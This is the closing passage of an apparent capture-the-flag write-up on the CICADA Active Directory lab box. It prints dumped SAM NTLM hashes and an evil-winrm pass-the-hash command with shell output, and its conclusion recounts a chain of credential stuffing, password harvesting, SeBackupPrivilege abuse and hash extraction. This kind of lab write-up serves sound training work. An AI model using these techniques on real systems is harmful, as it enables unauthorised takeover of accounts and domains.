CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Administrator Shell via Evil-WinRM
Using the dumped NTLM hash, we successfully authenticated as Administrator:
evil-winrm --i cicada.htb -u administrator -H "2b87e7c93a3e8a0ea4a581937016f341"
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> whoami
cicada\\administrator
Conclusion
The CICADA box was a well-crafted Active Directory challenge that required a mix of enumeration, credential harvesting, and privilege escalation techniques. We started with LDAP enumeration using default credentials, which gave us a list of domain users. After identifying a potential default password pattern, we performed credential stuffing using netexec and gained access as michael.wrightson.
Using ldapdomaindump, we discovered another user's plaintext password left in the description field — a common misconfiguration. This led us to david.orelious, who had access to an SMB share containing a PowerShell script. The script revealed credentials for emily.oscars.
As emily.oscars, we noticed the SeBackupPrivilege was enabled. By abusing this privilege, we backed up and downloaded the SAM and SYSTEM registry hives, extracted the Administrator's NTLM hash using pypykatz, and used pass-the-hash to log in as Administrator via evil-winrm.
